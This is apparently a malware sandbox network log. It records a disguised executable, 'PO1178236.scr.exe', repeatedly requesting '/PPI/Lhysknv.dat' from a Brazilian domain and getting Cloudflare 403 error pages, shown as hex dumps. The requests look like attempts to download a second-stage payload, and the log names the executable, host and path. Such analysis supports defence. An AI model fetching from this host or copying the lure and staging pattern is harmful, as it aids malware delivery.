2025-01-09 07:29:44 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f Data Ascii: tion cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /
2025-01-09 07:29:44 UTC	1369	IN	Data Raw: 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 63 62 63 63 62 64 63 33 34 33 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 Data Ascii: text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b7cbccbdc343</strong></span> <span class="cf-footer-separator sm:hi
2025-01-09 07:29:44 UTC	1004	IN	Data Raw: 20 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 63 62 63 63 62 64 63 33 34 33 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 34 4e 43 34 77 4d 44 41 77 4d 44 41 3d 27 7d Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b7cbccbdc343',t:'MTczNjQwNzc4NC4wMDAwMDA='}
2025-01-09 07:29:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.4	50065	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:44 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:44 UTC	1011	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:59 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6%2BWBMLPrWiLcaHd2K7rjxFNv88FH55ZoW%2B2OZtx6l2nSkyzBkN3lP%2BO0o68wnAcuJbX7XLF56AZfDjc%2Bmqbu6fdlknFrd2hNlXBj2Bp5uQlpforXSggUz491%2BtsHH1kjHG%2BMK79i5V5T0gJD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b7cfb80c43f8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2043&min_rtt=2038&rtt_var=775&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1403171&cwnd=217&unsent_bytes=0&cid=9a395035d329ab1f&ts=157&x=0"
2025-01-09 07:29:44 UTC	358	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:44 UTC	1369	IN	Data Raw: 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 Data Ascii: loudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="widt
2025-01-09 07:29:44 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f Data Ascii: tion cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /
2025-01-09 07:29:44 UTC	1369	IN	Data Raw: 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 63 66 62 38 30 63 34 33 66 38 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 Data Ascii: text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b7cfb80c43f8</strong></span> <span class="cf-footer-separator sm:hi
2025-01-09 07:29:44 UTC	1004	IN	Data Raw: 20 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 63 66 62 38 30 63 34 33 66 38 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 34 4e 43 34 77 4d 44 41 77 4d 44 41 3d 27 7d Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b7cfb80c43f8',t:'MTczNjQwNzc4NC4wMDAwMDA='}
2025-01-09 07:29:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.4	50071	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:45 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:45 UTC	1007	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:30:00 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gRV%2FsqK9OQjqdmRnYSLLtrhI5VwLBAAsdEGf8fJT7rATNZkd6n6gFZh7UJbsd1pLaBWg6jxJgJFDgeBiJYVS1WE8e95R6u8fWflTxZjKNpwvR1mpKDxfhEBHbC%2FpZoiqw5dn%2BcUBIu%2FlgwZA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b7d38d7b6a4e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1607&min_rtt=1603&rtt_var=609&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1785932&cwnd=212&unsent_bytes=0&cid=64259a463a304893&ts=145&x=0"
2025-01-09 07:29:45 UTC	362	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:45 UTC	1369	IN	Data Raw: 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 Data Ascii: flare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=de
2025-01-09 07:29:45 UTC	1369	IN	Data Raw: 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 Data Ascii: cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.cap
2025-01-09 07:29:45 UTC	1369	IN	Data Raw: 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 64 33 38 64 37 62 36 61 34 65 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e Data Ascii: -left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b7d38d7b6a4e</strong></span> <span class="cf-footer-separator sm:hidden
2025-01-09 07:29:45 UTC	1000	IN	Data Raw: 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 64 33 38 64 37 62 36 61 34 65 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 34 4e 53 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 Data Ascii: ndow._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b7d38d7b6a4e',t:'MTczNjQwNzc4NS4wMDAwMDA='};var
2025-01-09 07:29:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.4	50074	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:46 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:46 UTC	1011	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:30:01 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=x3HCNh7uj%2B9SCtA6KyePBPSe%2BROiMQcQw6upHnBRJEdOTRuUM8n5VFglQRP%2F19i7ciNqAk3Ms2JZJ8IrbwUkP%2FgZvdrJ1PcPU0x%2BqvCOehzVzoz4P8sQOYO9L4rYBjfFrAEdOn8Eti7Ap%2Bv7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b7d75fb24358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1758&min_rtt=1752&rtt_var=670&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1617728&cwnd=206&unsent_bytes=0&cid=b8dd2e66bd3126b8&ts=142&x=0"
2025-01-09 07:29:46 UTC	358	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:46 UTC	1369	IN	Data Raw: 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 Data Ascii: loudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="widt
2025-01-09 07:29:46 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f Data Ascii: tion cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /
2025-01-09 07:29:46 UTC	1369	IN	Data Raw: 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 64 37 35 66 62 32 34 33 35 38 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 